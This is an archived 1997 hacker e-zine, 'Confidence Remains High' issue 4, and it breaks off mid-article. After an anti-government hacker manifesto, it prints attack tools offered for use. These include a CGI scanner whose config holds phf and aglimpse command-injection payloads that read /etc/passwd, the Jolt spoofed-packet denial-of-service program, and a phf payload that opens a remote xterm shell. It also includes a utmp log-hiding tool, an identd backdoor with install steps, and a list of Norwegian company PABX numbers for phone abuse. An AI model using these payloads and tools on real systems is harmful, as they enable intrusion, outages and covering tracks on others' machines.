home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / magazines / crh / crh004.txt < prev    next >
Encoding:
Text File  |  1998-06-21  |  62.1 KB  |  1,609 lines

  1. ───────────────────────────────────────────────────────────────────────────────
  2.                              .oO The CodeZero Oo.
  3.                              .oO   Presents   Oo.
  4. ───────────────────────────────────────────────────────────────────────────────
  5.  
  6.  Welcome to issue 4 of..
  7.  
  8.        /IIIIIIIIII          /IIIIIIIIII           /III   /III
  9.        \ III_____/          \ III___/III          \ III  \ III
  10.         \ III                \ III  \ III          \ III  \_III
  11.          \ III  onfidence     \ IIIIIIII  emains    \ IIIIIIIIII  igh
  12.           \ III                \ III__/III           \ III__/ III
  13.            \ III                \ III  \ III          \ III  \ III
  14.             \ IIIIIIIIII   ___   \ III  \ III   ___    \ III  \ III   ___
  15.              \_________/  /\__\   \__/   \__/  /\__\    \__/   \__/  /\__\
  16.                           \/__/                \/__/                 \/__/
  17.  
  18.                                                        ...3rd September 1997
  19. ───────────────────────────────────────────────────────────────────────────────
  20.  
  21.                   Team CodeZero, we rule your weak network.
  22.  
  23. ───────────────────────────────────────────────────────────────────────────────
  24.  
  25.                    .-----------[ An Official ]-----------.
  26.                    :      .-----.  .----.   .--.--.      :
  27.                    :      :  .--'  : .-. :  :  :  :      :
  28.                    !_-::  :  :     : `-' ;  :  .  :  ::-_!
  29.                    :~-::  :: :     :: . :   ::    :  ::-~:
  30.                    :      ::.`--.  ::.:  :  ::.:  :      :
  31.                    :      `-----'  `--'--'  `--'--'      :
  32.                    !_-::                             ::-_!
  33.                    :~-::-[ Confidence Remains High ]-::-~:
  34.                    :~-::                             ::-~:
  35.                    `-----------[ Production ]------------'
  36.  
  37. ───────────────────────────────────────────────────────────────────────────────
  38.   In This "Added Exploits" Issue :
  39. ───────────────────────────────────────────────────────────────────────────────
  40.  
  41.  -----=>  Section A  :  Introduction And Cover Story.
  42.  
  43.  1. Confidence Remains High issue 4....................: Tetsu Khan
  44.  2. The Hackers vs. The System.........................: so1o
  45.  
  46.  -----=>  Section B  :  Exploits And Code.
  47.  
  48.  1. Generic scanner....................................: ultima
  49.  2. VITO...............................................: Et Lownoise
  50.  3. Jolt.c.............................................: VallaH
  51.  4. Phf shell spawning tekneek.........................: xFli
  52.  5. Hide.c.............................................: unknown
  53.  6. Tridentd.c.........................................: BiT
  54.  
  55.  -----=>  Section C  :  Phones / Scanning / Radio.
  56.  
  57.  1. Norweigen PABX list................................: RipperJack
  58.  
  59.  -----=>  Section D  :  Miscellaneous.
  60.  
  61.  1. Windows trick......................................: so1o
  62.  2. sIn inf0z..........................................: so1o
  63.  3. DCC trick..........................................: so1o
  64.  4. Mars systems @*.jpl.nasa.gov.......................: so1o
  65.  5. The issues list....................................: so1o
  66.  6. Damned warez pups..................................: so1o
  67.  7. Simple NFS techniques..............................: Synner
  68.  8. #hebrew............................................: so1o
  69.  9. Lord Somer.........................................: so1o
  70.  
  71.  -----=>  Section E  :  World News.
  72.  
  73.  1. c0de...............................................: so1o
  74.  2. Beyond HOPE........................................: Some dude @wired.com
  75.  3. www.sinnerz.com gets 0wned.........................: so1o
  76.  
  77.  ------=> Section F  :  Projects.
  78.  
  79.  1. soltool for Solaris 2.5.x [sunOS 5.5.x] is here!@~.: so1o
  80.  2. TOTAL CON..........................................: so1o
  81.  
  82.  -----=> Section G  :  The End. (+ Personal Column)
  83.  
  84. ───────────────────────────────────────────────────────────────────────────────
  85. ===============================================================================
  86. ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]==
  87. ===============================================================================
  88. ───────────────────────────────────────────────────────────────────────────────
  89.  1. Confidence Remains High issue 4 : Tetsu Khan
  90. ───────────────────────────────────────────────────────────────────────────────
  91.  
  92. Here we are again, not really alot happening lately, just threw this together
  93. and got it out to our public, and here it is, CRH issue 4!@#
  94.  
  95.  
  96.   The Confidence Remains High distro site list :
  97.   ----------------------------------------------
  98.  
  99.   http://www.r0ot.org/crh/                               [main distro]
  100.   http://www.rootshell.com
  101.   http://insecurity.insecurity.org/codez/
  102.  
  103.   ftp://ftp.sekurity.org/users/so1o/
  104.  
  105.   ...And alot of other sites, just go looking around.
  106.  
  107. ───────────────────────────────────────────────────────────────────────────────
  108.   2. The Hackers vs. The System : so1o
  109. ───────────────────────────────────────────────────────────────────────────────
  110.  
  111. The Government built the ARPAnet, for military use during the "Cold War",
  112. then the hackers built their own network, based on protocols developed by
  113. others, this later became the Internet, accessible by the public, now the
  114. Military and Government systems have "migrated" onto our network.
  115.  
  116. The hackers want freedom to learn and explore their network, the public want
  117. peace of mind and security, the companies want to become more efficient, and
  118. commercialise the Internet and the Governments want laws to bring order to the
  119. Internet, because they are scared of what OUR network might become, but the
  120. Internet wasn't built by the Governments, they have a right to use our network,
  121. but no right to try and change our rules, it is a futile move on their part.
  122.  
  123. Real wars are based on the use of power in weapons, nuclear bombs, submarines,
  124. and the like, this all costs alot of money to develop such capabilities.
  125.  
  126. Now, in the "information age", you don't need guns or bombs to cripple a
  127. country or a company, because they are so dependant on the internet, which
  128. the hackers built, if the hackers built it, they can just as easily take it
  129. down using a computer, a modem, and a few skills, which costs ALOT less
  130. then guns and bombs, but can be equally, if not more powerful as dependance
  131. by companies, the public, and the Government on OUR Internet increases.
  132.  
  133. Companies want to become more efficient, it may take days to send letters
  134. overseas, not forgetting the cost, but seconds by e-mail, next the put
  135. reports and blueprints and the like on supposedly secure systems, which
  136. their employees should only be able to access.
  137.  
  138. Hackers are the only successful Governors of the Internet, the Governments
  139. can try to introduce laws, but they can, and will never be able to enforce
  140. those laws over the Internet, it was built by hackers, and we say that it
  141. should be a medium through which anyone with an open mind can learn or teach,
  142. its all information, 1's and 0's. 
  143.  
  144. This isn't a "real-world" problem, because Governments will never stop us,
  145. there will always be tens of thousands to follow us, there are no boundaries
  146. on our network, thats the way it will always be.
  147.  
  148. It's simple, hackers made the network, Governments have no right to call
  149. "hacking" over OUR Internet illegal, they have no rights to even try to tell
  150. us what to do, they know that, but the public, and companies *THINK* that the
  151. Governments can control what goes on over OUR Internet, and so they demand
  152. security and peace of mind, which the Governments try to provide, but no-one
  153. can Govern OUR Internet, except the creators, the hackers, if we wanted to
  154. destroy the internet, we would have done so a long time ago, we just don't
  155. like Governments taking futile measures like they have.
  156.  
  157. Its not as if the Governments can do alot about this situation, hackers are
  158. only ghosts, we go by handles, codenames, no "real-life" details are let out,
  159. you can never catch us all, we are the ultimate invisible army.
  160.  
  161. At the most, all the Governments can do is make laws and attempt to enforce
  162. them, turning the Internet into a nicer place in some respecs, but hackers
  163. will just hit back *slightly* harder by taking all Government sites off of
  164. the internet, and to make the network our own again.
  165.  
  166. At the end of the day, if you want law and order now, and a nicer place to
  167. live, then disconnect your modem, and live in the real world, because you
  168. don't belong on our network.
  169.  
  170. ───────────────────────────────────────────────────────────────────────────────
  171. ===============================================================================
  172. ==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]==
  173. ===============================================================================
  174. ───────────────────────────────────────────────────────────────────────────────
  175.  1. Generic Scanner : Ultima
  176. ───────────────────────────────────────────────────────────────────────────────
  177.  
  178. /*  Quick and simple generic scanner to take input from a list of hosts */
  179. /*  (c) 1997 Ultima, the CodeZero Ninja Task Force.                     */
  180. /*  Usage: ./scanner <port> <in> <out>    (good for port 143 scanning)  */
  181.  
  182.  
  183. #include <stdio.h>
  184. #include <sys/types.h>
  185. #include <sys/socket.h>
  186. #include <netinet/in.h>
  187. #include <netdb.h>
  188. #include <errno.h>
  189. #define OPEN 1
  190. #define CLOSED 2
  191. #define ERR_SOCK 3
  192. #define ERR_NOHOST 4
  193. int port;
  194.  
  195. int check_port(char *host)
  196. {
  197.    struct sockaddr_in sin;
  198.    struct hostent *he;
  199.    int i, fd;
  200.    if((fd = socket(AF_INET, SOCK_STREAM, 0))<0)
  201.      {
  202.         perror("socket");
  203.         return(ERR_SOCK);
  204.      }
  205.    if((he = gethostbyname(host))==NULL)
  206.      {
  207.         herror("gethostbyname");
  208.         return(ERR_NOHOST);
  209.      }
  210.    sin.sin_family = AF_INET;
  211.    sin.sin_port = htons(port);
  212.    sin.sin_addr = *((struct in_addr*)he->h_addr);
  213.    if((connect(fd, (struct sockaddr *)&sin, sizeof(sin)))<0)
  214.      {
  215.         perror("connect");
  216.         return(CLOSED);
  217.      }
  218.    else
  219.      {
  220.         close(fd);
  221.         return(OPEN);
  222.      }
  223. }
  224.  
  225. int main(int argc, char **argv)
  226. {
  227.    FILE *in, *out;
  228.    char *buf;
  229.    buf = (char *)malloc(256);
  230.    if(argc < 4)
  231.      {
  232.         fprintf(stderr, "usage: %s <port> <in> <out>\r\n", argv[0]);
  233.         exit(1);
  234.      }
  235.    port = atoi(argv[1]);
  236.    if((in = fopen(argv[2], "r"))==NULL)
  237.      {
  238.         perror(argv[2]);
  239.         exit(1);
  240.      }
  241.    if((out = fopen(argv[3], "a"))==NULL)
  242.      {
  243.         perror(argv[3]);
  244.         exit(1);
  245.      }
  246.    while((fgets(buf, 255, in)) == buf)
  247.      {
  248.         if(buf[0] != ' ' && buf[0] != '\n')
  249.           {
  250.              buf[strlen(buf)-1] = '\0';
  251.              printf("Checking %s...", buf);
  252.              switch(check_port(buf))
  253.                {
  254.                 case OPEN:
  255.                   fprintf(out, "%s : Port %i Open\r\n", buf, port);
  256.                   printf("Open\r\n");
  257.                   break;
  258.                 case CLOSED:
  259.                   fprintf(out, "%s : Port %i Closed\r\n", buf, port);
  260.                   printf("Closed\r\n");
  261.                   break;
  262.                 case ERR_SOCK:
  263.                   fprintf(out, "%s: Socket Error\r\n", buf);
  264.                   printf("Socket Error\r\n");
  265.                   break;
  266.                 case ERR_NOHOST:
  267.                   fprintf(out, "%s: No Such Host\r\n", buf);
  268.                   printf("No Such Host\r\n");
  269.                   break;
  270.                 default:
  271.                   fprintf(out, "%s: Unknown Error\r\n", buf);
  272.                   printf("Unknown Error\r\n");
  273.                   break;
  274.                }
  275.           }
  276.      }
  277. }
  278.  
  279. ───────────────────────────────────────────────────────────────────────────────
  280.   2. VITO : ET Lownoise
  281. ───────────────────────────────────────────────────────────────────────────────
  282.  
  283. /* V.I.T.O
  284.    Vicious Internet TOol  by ET Lownoise Colombia 1997.
  285.    Copyshit (:Q~) ET 1997.
  286.  
  287.    Test (T.E.S.T!!!) a web server for interesting MUST NOT HAVE cgi's.
  288.    note that this program sucks too.
  289.  
  290.    2 Files:
  291.      -Vito.c
  292.      -Vito.ini  <---- you can edit this one....so u can upgrade
  293.                       this program. Just follow the sintax.
  294.    etorres@cyberservices.com
  295.    Why is necesary a disclaimer when nobody reads it?.
  296.  
  297.    Compile for dummies
  298.    ===================
  299.           cc -o vito vito.c
  300.    Execute for dummies
  301.    ===================
  302.           vito <host>
  303. */
  304.  
  305. #include <stdio.h>
  306. #include <string.h>
  307. #include <sys/types.h>
  308. #include <sys/socket.h>
  309. #include <netinet/in.h>
  310. #include <netdb.h>
  311.  
  312. #define TAMANO 1024
  313.  
  314. int sock;
  315. struct sockaddr_in sock_dest;
  316. char host_dest[100];
  317.  
  318. main(int argc,char *argv[])
  319. {
  320.  
  321.  
  322.  FILE *ini;       /*check for vito.ini*/
  323.  
  324.  int a,
  325.      b,
  326.      c,
  327.      d,
  328.      x;
  329.  
  330.  struct hostent *pastelito;
  331.  
  332.  char buffer[TAMANO],
  333.       bufrec[TAMANO],
  334.       buftmp[TAMANO],
  335.       encabezado[50];
  336.  
  337.  
  338.    if (argc < 2) {
  339.       fprintf(stdout,"V.I.T.O by ET Lownoise 97\n");
  340.       fprintf(stdout,"Usage: %s <host> [> file]\n",argv[0]);
  341.       fprintf(stdout,"Note: I know this program sucks.. it\n");
  342.       fprintf(stdout,"      just make things easy.\n");
  343.       exit(0);
  344.    }
  345.  
  346.    if((ini=fopen("vito.ini","r"))==NULL){
  347.       fprintf(stdout,"%s needs his ini file: vito.ini\n",argv[0]);
  348.       exit(0);
  349.    }
  350.  
  351.    if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
  352.       pastelito = gethostbyname(argv[1]);
  353.       if (pastelito == NULL) {
  354.          fprintf(stdout,"Ahhhhhhh! cannot resolve host %s\n",argv[1]);
  355.          exit(0);
  356.       }
  357.       sprintf(host_dest,"%d.%d.%d.%d",(unsigned char ) pastelito->h_addr_list[0][0],
  358.                                       (unsigned char ) pastelito->h_addr_list[0][1],
  359.                                       (unsigned char ) pastelito->h_addr_list[0][2],
  360.                                       (unsigned char ) pastelito->h_addr_list[0][3]);
  361.    }
  362.    else {
  363.       strncpy(host_dest,argv[1],99);
  364.    }
  365.    fprintf(stdout,"V.I.T.O.\n");
  366.    fprintf(stdout,"Attac...Testing host: %s ",host_dest);
  367.  
  368.    /*ET*/
  369.  
  370.    sock_dest.sin_family = AF_INET;
  371.    sock_dest.sin_port = htons(80);                               /* www port */
  372.    sock_dest.sin_addr.s_addr = inet_addr(host_dest);
  373.  
  374.    while(fgets(buffer,TAMANO,ini)!=NULL){                  /*Buffer line size*/
  375.       if(buffer[0]=='['){
  376.          /*   Buffer division*/
  377.          strcpy(buftmp,buffer);
  378.          strcpy(buffer,strchr(buftmp,'G'));
  379.          strncpy(encabezado,buftmp,strlen(buftmp)-strlen(buffer)+1);
  380.          encabezado[strlen(buftmp)-strlen(buffer)]='\0';
  381.  
  382.  
  383.          sock = socket(AF_INET,SOCK_STREAM,0);
  384.          if(sock < 0) {
  385.            fprintf(stdout,"ERROR: socket() failed\n");
  386.            exit(0);
  387.          }
  388.  
  389.          x = connect(sock,(struct sockaddr *) &sock_dest,sizeof(sock_dest));
  390.          if(x < 0){
  391.            fprintf(stdout,"Upps.. can't connect to port 80\n");
  392.          }
  393.  
  394.          fprintf(stdout,
  395.          "\n|-------------------------------------------------------------|\n");
  396.          fprintf(stdout,"  CGI: %s\n",encabezado);
  397.          fprintf(stdout,"  Sending.\n");
  398.          fprintf(stdout,"  %s",buffer);
  399.          fprintf(stdout,"|-------------------------------------------------------------|\n");
  400.          send(sock,buffer,TAMANO*sizeof(char),0);
  401.          bzero(buffer,TAMANO);
  402.          fprintf(stdout,"  Receiving.\n\n");
  403.          while((x=recv(sock,bufrec,TAMANO*sizeof(char),0))!=0){
  404.                 fprintf(stdout,"%s",bufrec);
  405.                 bzero(bufrec,TAMANO);
  406.          }
  407.          close(sock);
  408.       }
  409.    }
  410.    fclose(ini);
  411.    fprintf(stdout,
  412.          "\n|=============================================================|\n");
  413.    fprintf(stdout,"Vito End.    ET Lownoise 1997\n");
  414. }
  415.  
  416.  
  417. ---vito.ini-------------------------------------------------------------------
  418.  
  419. ##############################################################
  420. #   V.I.T.O  Et Lownoise 1997   Ini File.  ver.1.0           #
  421. ##############################################################
  422. # Please be carefull when u edit this file because some times
  423. # the text editor u use break the lines.
  424. # If u create a new line please use the GET in uppercase and
  425. # if u whant to comment any line use #.
  426. #
  427. # Note: The space used in the IRIX line is a TAB no a space.
  428. #       and u cannot use %xx to replace them.
  429. # Note: Modify the email address in the aglimpse line.
  430. #
  431. # etorres@cyberservices.com
  432. #
  433. ##############################################################
  434. # format:                                                    #
  435. # [comment] GET exploit_line_here                            #
  436. ##############################################################
  437.  
  438.  
  439. [phf passwd] GET /cgi-bin/phf?Qalias=hell%0acat%20/etc/passwd%0a
  440. [phf uname] GET /cgi-bin/phf?Qalias=hell%0auname%20-a%0a
  441. [finger] GET /cgi-bin/finger?%0a
  442. [test-cgi cgis] GET /cgi-bin/test-cgi?/*
  443. [test-cgi dirs] GET /cgi-bin/test-cgi?/*
  444. [php/fi] GET /cgi-bin/php.cgi?/etc/passwd
  445. #[Access control on W3C httpd server] GET //secret/index.html
  446. #[IRIX handler <space is TAB>] GET /cgi-bin/handler/useless_shit;cat/etc/passwd|?data=Download
  447. [mglimpse] GET /cgi-bin/aglimpse/80|cat</etc/passwd;echo HTTP/1.0
  448.  
  449. #end of ini file PLEASE SEND ME SOME NEW VERSION OF THIS INI
  450. #ET etorres@cyberservices.com
  451.  
  452. ───────────────────────────────────────────────────────────────────────────────
  453.   3. jolt.c : VallaH (spelling corrected by so1o)
  454. ───────────────────────────────────────────────────────────────────────────────
  455.  
  456. /* Jolt 1.0 by Jeff w. Roberson
  457.  * Please, if you use my code give me credit.  Also, if I was the first to
  458.  * find this glitch, please give me credit. That's all I ask.
  459.  *
  460.  * OK, so all this does is build a really fragmented over-sized packet
  461.  * and once win95 gets it, and puts it back together, it locks!  I send
  462.  * multiple packets by default because sometimes it takes a few packets to
  463.  * totally freeze the host. Maybe it's spending processor time to figure
  464.  * out how to put them back together?  I've had reports of people "blue
  465.  * screening" from it though so we'll let Microsoft's boys figure out
  466.  * exactly what this does to '95. As of now I haven't tested it on NT,
  467.  * but maybe I will later ;).  All of this source wasn't originally
  468.  * written by me I just took one of the old programs to kill POSIX and
  469.  * SVR based systems and worked on it a bit, then made it spoof =). 
  470.  * VallaH  (yaway@hotmail.com)
  471.  *
  472.  *  Update: It appears to work on some older versions of mac os
  473.  */
  474.  
  475. /* Yah this is for linux, but i like the BSD ip header better then linux's */
  476. #define __BSD_SOURCE
  477. #include <stdio.h>
  478. #include <sys/types.h>
  479. #include <sys/socket.h>
  480. #include <netdb.h>
  481. #include <netinet/in.h>
  482. #include <netinet/in_systm.h>
  483. #include <netinet/ip.h>
  484. #include <netinet/ip_icmp.h>
  485. #include <string.h>
  486. #include <arpa/inet.h>
  487.  
  488. int main(int argc, char **argv)
  489. {
  490.         int s,i;
  491.         char buf[400];
  492.         struct ip *ip = (struct ip *)buf;
  493.         struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
  494.         struct hostent *hp, *hp2;
  495.         struct sockaddr_in dst;
  496.         int offset;
  497.         int on = 1;
  498.     int num = 5;
  499.  
  500.         bzero(buf, sizeof buf);
  501.  
  502.         if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0) {
  503.                 perror("socket");
  504.                 exit(1);
  505.         }
  506.         if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
  507.                 perror("IP_HDRINCL");
  508.                 exit(1);
  509.         }
  510.         if (argc < 3) {
  511.         printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!) glitch by VallaH (yaway@hotmail.com)\n");
  512.                 printf("\nusage: %s <dstaddr> <saddr> [number]\n",argv[0]);
  513.         printf("\tdstaddr is the host your attacking\n");
  514.         printf("\tsaddr is the host your spoofing from\n");
  515.         printf("\tNumber is the number of packets to send, 5 is the default\n");
  516.         printf("\nNOTE:  This is based on a bug that used to affect POSIX complient, and SYSV \n\t systems so its nothing new..\n");
  517.         printf("\nGreets to Bill Gates! How do ya like this one? :-)\n");
  518.                 exit(1);
  519.         }
  520.         if (argc == 4) num = atoi(argv[3]);
  521.     for (i=1;i<=num;i++) {
  522.  
  523.         if ((hp = gethostbyname(argv[1])) == NULL) {
  524.                 if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
  525.                         fprintf(stderr, "%s: unknown host\n", argv[1]);
  526.             exit(1);
  527.                 }
  528.         } else {
  529.                 bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  530.         }
  531.  
  532.         if ((hp2 = gethostbyname(argv[2])) == NULL) {
  533.                 if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
  534.                         fprintf(stderr, "%s: unknown host\n", argv[2]);
  535.                         exit(1);
  536.                 }
  537.         } else {
  538.                 bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);
  539.         }
  540.  
  541.         printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
  542.         ip->ip_v = 4;
  543.         ip->ip_hl = sizeof *ip >> 2;
  544.         ip->ip_tos = 0;
  545.         ip->ip_len = htons(sizeof buf);
  546.         ip->ip_id = htons(4321);
  547.         ip->ip_off = htons(0);
  548.         ip->ip_ttl = 255;
  549.         ip->ip_p = 1;
  550.         ip->ip_csum = 0;                 /* kernel fills in */
  551.  
  552.         dst.sin_addr = ip->ip_dst;
  553.         dst.sin_family = AF_INET;
  554.  
  555.         icmp->type = ICMP_ECHO;
  556.         icmp->code = 0;
  557.         icmp->checksum = htons(~(ICMP_ECHO << 8));
  558.         for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
  559.                 ip->ip_off = htons(offset >> 3);
  560.                 if (offset < 65120)
  561.                         ip->ip_off |= htons(0x2000);
  562.                 else
  563.                         ip->ip_len = htons(418);  /* make total 65538 */
  564.                 if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
  565.                                         sizeof dst) < 0) {
  566.                         fprintf(stderr, "offset %d: ", offset);
  567.                         perror("sendto");
  568.                 }
  569.                 if (offset == 0) {
  570.                         icmp->type = 0;
  571.                         icmp->code = 0;
  572.                         icmp->checksum = 0;
  573.                 }
  574.         }
  575.     }
  576.     return 0;
  577. }
  578.  
  579. ───────────────────────────────────────────────────────────────────────────────
  580.   4. Phf shell spawning tekneek : xFli
  581. ───────────────────────────────────────────────────────────────────────────────
  582.  
  583. http://www.blah.com/cgi-bin/phf?Qalias=x%0a/usr/openwin/xterm%20-display%20your.addy.com
  584.  
  585. Which incase you cant work it out will open an xterm on your Xwindows capable box, in effect
  586. giving you shell access as the uid the http daemon is running as (usually 'nobody')
  587. NOTE: the vulnerable system must also have the Xwindows system installed. 
  588.  
  589. ───────────────────────────────────────────────────────────────────────────────
  590.   5. Hide.c : unknown
  591. ───────────────────────────────────────────────────────────────────────────────
  592.  
  593. /* hide.c , it does what it says on the can */
  594.  
  595. #include <stdio.h>
  596. #include <stdlib.h>
  597. #include <utmp.h>
  598. #include <pwd.h>
  599.  
  600. #define UTMPFILE        "/etc/utmp"
  601.  
  602.         FILE    *utmpfile;
  603.         char    *utmp_tmp[10240];
  604.  
  605. main (argc, argv)
  606.         int     argc;
  607.         char    *argv[];
  608. {
  609.  
  610.         struct  utmp    *user_slot;
  611.         struct  passwd  *pwd;
  612.         char    line[10], name[10], host[20];
  613.         int     index;
  614.  
  615.         printf ("Welcome to HIDE !        FORMAT:  hide [-i]\n\n");
  616.         utmpfile = fopen (UTMPFILE, "r+");
  617.         if (utmpfile == NULL)
  618.         {
  619.                 printf ("ERROR while opening utmp file... exiting...\n");
  620.                 exit ();
  621.         }
  622.         index = ttyslot();                                              /* Get this users utmp index */
  623.         index *= sizeof(struct utmp);   /* 36 */
  624.         fseek(utmpfile, index, 0);
  625. /****  Get real UID  ****/
  626.         pwd = getpwuid (getuid());
  627.         if (pwd == NULL)
  628.                 printf ("Who the hell are you???");
  629.         else
  630.         {
  631.         printf ("Real user identity:\n");
  632.         printf ("NAME  %s\n", pwd->pw_name);
  633.         printf (" UID  %d\n", pwd->pw_uid);
  634.         printf (" GID  %d\n\n", pwd->pw_gid);
  635.         }
  636. /****  If ARG1 = "-i" then disappear from utmp  ****/
  637.         if ( (argc>1) && (!strcmp(argv[1], "-i")) )
  638.         {
  639.         index+=8;       /* Rel PNT name */
  640.         fseek(utmpfile, index, 0);
  641.         fwrite ("\000", 8, 1, utmpfile);        /* NO NAME */
  642.         fwrite ("\000", 8, 1, utmpfile);        /* NO HOST */
  643.         fclose(utmpfile);
  644.         printf ("Removed from utmp\n");
  645.         exit();
  646.         }
  647. /****  Change utmp data  ****/
  648.         printf ("Enter new data or return for default:\n");
  649.         fseek(utmpfile, index, 0);      /* Reset file PNT */
  650.         fread(line, 8, 1, utmpfile);    line[8]=NULL;
  651.         fread(name, 8, 1, utmpfile);    name[8]=NULL;
  652.         fread(host, 16, 1, utmpfile);   host[16]=NULL;
  653.         fseek(utmpfile, index, 0);      /* Reset file PNT */
  654.         dinput (" TTY  [%s]%s", line, 8);
  655.         dinput ("NAME  [%s]%s", name, 8);
  656.         dinput ("HOST  [%s]%s", host, 16);
  657.         fclose(utmpfile);
  658. }
  659.  
  660. /* Data input */
  661. dinput (prompt, string, size)
  662.         char    *prompt;
  663.         char    *string;
  664.         int     size;
  665. {
  666.         char    input[80];
  667.         char    *stat;
  668.         char    space[] = "                              ";
  669.  
  670.         space[20-strlen(string)] = '\000';
  671.         printf (prompt, string, space);
  672.         stat = gets (input);
  673.         if (strlen(input) > 0)
  674.                 fwrite (input, size, 1, utmpfile);
  675.         else
  676.                 fseek (utmpfile, size, 1);
  677. }
  678.  
  679. ───────────────────────────────────────────────────────────────────────────────
  680.  6. Tridentd.c : BiT
  681. ───────────────────────────────────────────────────────────────────────────────
  682.  
  683. /* This is just a simple hack to identd's code so that identd will allow
  684.  * you to connect to its port and send a special command to make identd 
  685.  * spawn off a shell.
  686.  * 
  687.  * When connected to the identd port of the machine running the trojaned
  688.  * identd enter the command:
  689.  *
  690.  * "SS ####### ##"
  691.  *
  692.  *  where ####### is your defined MKEY and ## is your defined SKEY
  693.  * 
  694.  * NOTE: You must have root on the system you wish to install this backdoor
  695.  * on. And the binary must be owned by root and in the wheel or root groups.
  696.  *
  697.  * To compile/install:
  698.  *
  699.  *    gcc -Wall -O3 -w -O identd.c -o in.identd
  700.  *    strip in.identd
  701.  *    mv in.identd /usr/sbin/in.identd
  702.  *    chown root.root /usr/sbin/in.identd
  703.  *    chmod 770 /usr/sbin/in.identd
  704.  *
  705.  *    Then edit /etc/services and /etc/inetd.conf so that it spawns the
  706.  *    correct daemon.
  707.  */
  708.  
  709. #include <stdio.h>
  710. #include <stdlib.h>
  711. #include <unistd.h>
  712. #include <sys/types.h>
  713. #include <sys/uio.h>
  714. #include <sys/time.h>
  715. #include <ctype.h>
  716. #include <string.h>
  717.  
  718. #define MKEY 3849572
  719. #define SKEY 72
  720.  
  721. int writeranduser(void)
  722. {
  723.         int r;
  724.         char username[12];
  725.         srandom(getpid());
  726.         memset(username, 0, 12);
  727.         r = random() % 26;
  728.         r = r + 'a';
  729.         memset(username, r, 11);
  730.         if(write(1, username, strlen(username)) < strlen(username))
  731.                 exit(0);
  732.         return 1;
  733. }
  734.  
  735. int main(int argc, char **argv)
  736. {
  737.         char genrandomuser = 1;
  738.         char *portpair = NULL;
  739.         fd_set rset;
  740.         struct timeval tv;
  741.         int i;
  742.  
  743.         if(argc > 1) genrandomuser = 0;
  744.         portpair = malloc(1024);
  745.         if(!portpair)
  746.                 exit(0);
  747.         memset(portpair, 0, 1024);
  748.         tv.tv_sec = 180;
  749.         tv.tv_usec = 0;
  750.         FD_ZERO(&rset);
  751.         FD_SET(0, &rset);
  752.         i = select(1, &rset, NULL, NULL, &tv);
  753.         if(i < 1)
  754.                 exit(0);
  755.         if(read(0, portpair, 512) < 1)
  756.                 exit(0);
  757.         while(*portpair)
  758.         {
  759.                 if(isdigit(*portpair))
  760.                         if(write(1, portpair, 1) < 0)
  761.                                 exit(0);
  762.                         else;
  763.                 else if(*portpair == ',')
  764.                         if(write(1, portpair, 1) < 0)
  765.                                 exit(0);
  766.                         else;
  767.                 portpair++;
  768.         }
  769.         if(write(1, " : USERID : UNIX : ", 19) < 19)
  770.                 exit(0);
  771.         if(!genrandomuser)
  772.                 if(write(1, argv[1], strlen(argv[1])) < strlen(argv[1]))
  773.                         exit(0);
  774.                 else;
  775.         else
  776.                 writeranduser();
  777.         if(write(1, "\r\n", 2) < 2)
  778.                 exit(0);
  779.         return 1;
  780. }
  781.  
  782. ───────────────────────────────────────────────────────────────────────────────
  783. ===============================================================================
  784. ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]==
  785. ===============================================================================
  786. ───────────────────────────────────────────────────────────────────────────────
  787.   1. Norweigen PABX list : RipperJack
  788. ───────────────────────────────────────────────────────────────────────────────
  789.  
  790. Alrek Studenthjem                            - 55291802
  791. Arbeidskontoret i Arna                       - 55243890
  792. Arbeidskontoret i Fyllingsdalen              - 55168910
  793. Arbeidskontoret på Nesttun                   - 55135330
  794. Arbeidskontoret på Os¢yro                    - 56304695
  795. Bergen Airport Hotel                         - 55229236
  796. Bergen Tekniske Fagskole                     - 55232582
  797. Betanien Hospitalet                          - 55166979 - fax!
  798. Datainstrument A/S                           - 55314390 - etter stengetid??
  799. Den Norske Bank                              - 56302071
  800. Inter Revisjon Bergen                        - 55295201
  801. Jebsens Management A/S                       - 55310606
  802. Knappentunet                                 - 55124299
  803. Norsk Blikkvalseverk A/S                     - 55341260
  804. Olaviken Behandlingssenter                   - 56149798
  805. Os Likningskontor og Folkeregister           - 56301299
  806. *Statens Dykkerskole                         - 55268904
  807. Statens H¢gskole for kunsthåndverk og design - 55311943
  808. Steen-Hansen F Malings- og Lakkfabrikk A/S   - 55100040
  809. Stolz R¢thing AS                             - 55345560
  810. Vestlandet Kompetansesenter                  - 55296485
  811. Bj¢rketeigen                                 - 56555710
  812. Norheimsund Yrkesskule                       - 56551530
  813. Toloheimen                                   - 56552030
  814. Arbeidskontoret i Knarvik                    - 56352330
  815. Odda Plast AS                                - 53644480
  816. Solid Vedlikehold AS                         - 56334275
  817.  
  818. To find out just how much it costs you to call these pbxs, dial 80031031 for
  819. Telenor's price information service.
  820.  
  821. ───────────────────────────────────────────────────────────────────────────────
  822. ===============================================================================
  823. ==[ MISC ]=====================[ .SECTION D. ]=======================[ MISC ]==
  824. ===============================================================================
  825. ───────────────────────────────────────────────────────────────────────────────
  826.   1. Windows trick : so1o
  827. ───────────────────────────────────────────────────────────────────────────────
  828.  
  829.   An elite w1nd0ze trick for w1nd0ze 3.1 icon 0wnersh1p...
  830.  
  831.   The Windows 3.1 trick.
  832.   ======================
  833.  
  834. I found this out myself at work the other day, I was trying to fuck with the
  835. File -> Run in program manager, so I was giving it like random acsii's in the
  836. command line and shit, then I decided to throw a load of spaces at it, and
  837. I found this fucked with the icons and refresh on the display, so here's the
